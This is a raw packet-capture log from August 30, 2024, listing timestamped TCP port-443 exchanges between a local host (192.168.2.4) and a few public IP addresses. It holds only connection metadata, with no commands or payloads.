Aug 30, 2024 00:19:31.162729979 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.162746906 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.162800074 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.162806988 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.162851095 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.189912081 CEST	49774	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:31.250339031 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.250391960 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.250422955 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.250432014 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.250467062 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.250488043 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.251800060 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.251816988 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.251869917 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.251873970 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.251914024 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.253578901 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.253597021 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.253664970 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.253670931 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.253714085 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.254729033 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.254745960 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.254817963 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.254822969 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.254863024 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.340686083 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.340703964 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.340765953 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.340775013 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.340815067 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.340836048 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.341355085 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.341371059 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.341425896 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.341430902 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.341470957 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.341973066 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.341988087 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.342046022 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.342051029 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.342092037 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.342735052 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.342749119 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.342799902 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.342804909 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.342844009 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.343417883 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.343434095 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.343487024 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.343492031 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.343535900 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.344233990 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.344249964 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.344314098 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.344317913 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.344360113 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.346908092 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.346923113 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.346985102 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.346988916 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.347013950 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.347028971 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.347033024 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.347079039 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.347084999 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.347163916 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.351685047 CEST	49775	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.351697922 CEST	443	49775	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.469522953 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:31.469558001 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:31.469619036 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:31.469815969 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:31.469827890 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:31.779777050 CEST	49778	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.779817104 CEST	443	49778	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.779922009 CEST	49778	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.780242920 CEST	49779	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.780278921 CEST	443	49779	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.780335903 CEST	49779	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.780489922 CEST	49780	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.780498028 CEST	443	49780	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.780553102 CEST	49780	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.780879021 CEST	49778	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.780894995 CEST	443	49778	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.781220913 CEST	49779	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.781234026 CEST	443	49779	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:31.781472921 CEST	49780	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:31.781486034 CEST	443	49780	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.125390053 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.127913952 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.127934933 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.129450083 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.129513979 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.130490065 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.130559921 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.130676985 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.130683899 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.232105970 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.232130051 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.232198954 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.232217073 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.232270956 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.319526911 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.319539070 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.319590092 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.319598913 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.319605112 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.319628000 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.319644928 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.319653988 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.321548939 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.321574926 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.321611881 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.321619987 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.321649075 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.370776892 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.406949043 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.406969070 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.407016993 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.407049894 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.407051086 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.407078028 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.407097101 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.407111883 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.407773018 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.407793045 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.407864094 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.407870054 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.409183025 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.409213066 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.409672022 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.409681082 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.410053015 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.410198927 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.410218954 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.410255909 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.410262108 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.410278082 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.410296917 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.415276051 CEST	443	49778	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.424105883 CEST	443	49780	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.424120903 CEST	443	49779	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.471313000 CEST	49779	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.495166063 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.495207071 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.495239019 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.495254993 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.495284081 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.495297909 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.495731115 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.495759010 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.495807886 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.495812893 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.495846033 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.495857000 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.496136904 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.496157885 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.496196985 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.496201992 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.496232033 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.496242046 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.497078896 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.497098923 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.497158051 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.497164011 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.497198105 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.497212887 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.497975111 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.497996092 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.498044968 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.498050928 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.498080015 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.498095036 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.498785973 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.498806953 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.498842955 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.498847961 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.498878002 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.498891115 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.499634027 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.499654055 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.499695063 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.499712944 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.499717951 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.499752045 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.499777079 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.499782085 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.499845982 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.499888897 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.567290068 CEST	49778	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.570022106 CEST	49780	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.578047991 CEST	49779	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.578059912 CEST	443	49779	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.578227997 CEST	49780	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.578238010 CEST	443	49780	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.579267979 CEST	443	49780	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.579289913 CEST	443	49780	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.579296112 CEST	443	49779	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.579328060 CEST	49780	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.579369068 CEST	49779	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.609643936 CEST	49780	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.609710932 CEST	443	49780	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.634738922 CEST	49778	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.634748936 CEST	443	49778	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.635204077 CEST	443	49778	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.637219906 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.638015032 CEST	49779	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.638123989 CEST	443	49779	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.639161110 CEST	49778	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.639208078 CEST	443	49778	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.639832973 CEST	49780	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.639842987 CEST	443	49780	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.639967918 CEST	49779	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.639981031 CEST	443	49779	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.640037060 CEST	49778	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.680491924 CEST	443	49778	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.683525085 CEST	49779	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.704624891 CEST	49777	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.704638004 CEST	443	49777	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.737427950 CEST	443	49780	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.737495899 CEST	49780	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.737504959 CEST	443	49780	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.737566948 CEST	443	49780	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.737616062 CEST	49780	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.737680912 CEST	443	49779	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.737910032 CEST	443	49779	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.738046885 CEST	49779	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.740988016 CEST	443	49778	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.741023064 CEST	443	49778	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.741030931 CEST	443	49778	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.741060019 CEST	443	49778	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.741074085 CEST	443	49778	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.741084099 CEST	443	49778	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.741086006 CEST	49778	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.741096973 CEST	443	49778	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.741122007 CEST	49778	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.741144896 CEST	49778	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.742681026 CEST	49780	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.742691040 CEST	443	49780	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.744246006 CEST	49779	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.744259119 CEST	443	49779	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.824464083 CEST	443	49778	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.824475050 CEST	443	49778	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.824516058 CEST	443	49778	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.824548960 CEST	443	49778	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.824556112 CEST	49778	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.824563980 CEST	443	49778	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.824579954 CEST	443	49778	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.824596882 CEST	49778	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.824618101 CEST	49778	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.824625969 CEST	443	49778	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.824646950 CEST	443	49778	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.824662924 CEST	49778	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.824692011 CEST	49778	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.825548887 CEST	49778	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:32.825560093 CEST	443	49778	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:32.955429077 CEST	49786	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.955460072 CEST	443	49786	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.955564022 CEST	49786	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.956280947 CEST	49786	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.956295967 CEST	443	49786	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.956651926 CEST	49787	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.956681967 CEST	443	49787	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.956887960 CEST	49787	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.957264900 CEST	49787	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.957282066 CEST	443	49787	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.961796045 CEST	49788	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.961807013 CEST	443	49788	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:32.962049007 CEST	49788	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.962259054 CEST	49788	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:32.962272882 CEST	443	49788	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.605370045 CEST	443	49788	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.606784105 CEST	49788	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:33.606812000 CEST	443	49788	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.607256889 CEST	443	49786	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.607441902 CEST	49786	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:33.607450962 CEST	443	49786	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.607786894 CEST	443	49786	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.607937098 CEST	443	49788	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.607994080 CEST	49788	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:33.608197927 CEST	49786	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:33.608258009 CEST	443	49786	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.608495951 CEST	49788	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:33.608555079 CEST	443	49788	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.608596087 CEST	49786	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:33.608639002 CEST	49788	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:33.608647108 CEST	443	49788	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.617650032 CEST	443	49787	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.617901087 CEST	49787	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:33.617917061 CEST	443	49787	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.618268967 CEST	443	49787	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.618573904 CEST	49787	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:33.618632078 CEST	443	49787	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.618736982 CEST	49787	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:33.652497053 CEST	443	49786	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.664500952 CEST	443	49787	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.674633980 CEST	49788	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:33.704931974 CEST	443	49788	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.705163002 CEST	443	49788	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.705212116 CEST	49788	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:33.707133055 CEST	443	49786	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.707164049 CEST	443	49786	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.707206964 CEST	49786	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:33.707211971 CEST	443	49786	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.707257032 CEST	49786	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:33.721810102 CEST	443	49787	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.721836090 CEST	443	49787	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.721853018 CEST	443	49787	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.721885920 CEST	49787	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:33.721899033 CEST	443	49787	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.721921921 CEST	49787	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:33.721940994 CEST	49787	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:33.731609106 CEST	49788	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:33.731626987 CEST	443	49788	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.732031107 CEST	49786	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:33.732034922 CEST	443	49786	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.808414936 CEST	443	49787	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.808444977 CEST	443	49787	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.808520079 CEST	49787	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:33.808520079 CEST	49787	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:33.808537006 CEST	443	49787	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.808604956 CEST	49787	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:33.808839083 CEST	443	49787	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.808907986 CEST	443	49787	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:33.808957100 CEST	49787	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:33.827097893 CEST	49787	443	192.168.2.4	13.107.246.73
Aug 30, 2024 00:19:33.827111959 CEST	443	49787	13.107.246.73	192.168.2.4
Aug 30, 2024 00:19:34.636806965 CEST	49793	443	192.168.2.4	34.107.199.61
Aug 30, 2024 00:19:34.636853933 CEST	443	49793	34.107.199.61	192.168.2.4
Aug 30, 2024 00:19:34.636919975 CEST	49793	443	192.168.2.4	34.107.199.61
Aug 30, 2024 00:19:34.637137890 CEST	49793	443	192.168.2.4	34.107.199.61
